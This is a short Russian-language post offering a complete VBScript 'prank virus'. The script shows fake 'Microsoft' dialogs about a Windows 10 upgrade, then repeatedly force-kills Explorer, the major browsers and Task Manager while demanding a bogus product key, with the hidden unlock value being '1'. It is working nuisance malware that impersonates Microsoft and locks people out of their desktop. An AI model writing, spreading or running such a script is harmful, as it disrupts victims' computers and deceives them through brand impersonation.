ДЕЛАЕМ КРУТОЙ ПРАНК ВИРУС НА VBS

Если вам лень (вот)
msgbox “Предлагаем обновиться до Windows 10” ,32+4, “Microsoft”

Do
set t=createobject(“Wscript.Shell”)
set kill = createobject(“wscript.shell”)
kill.run”taskkill /f /im explorer.exe”
kill.run”taskkill /f /im firefox.exe”
kill.run”taskkill /f /im opera.exe”
kill.run”taskkill /f /im chrome.exe”
kill.run”taskkill /f /im iexplore.exe”
kill.run”taskkill /f /im taskmgr.exe”
login = InputBox (“Введите ключ продукта Windows 10”)
Loop Until login = “1”
t.run”explorer”
msgbox “Верный ключ продукта!” ,64, “Microsoft”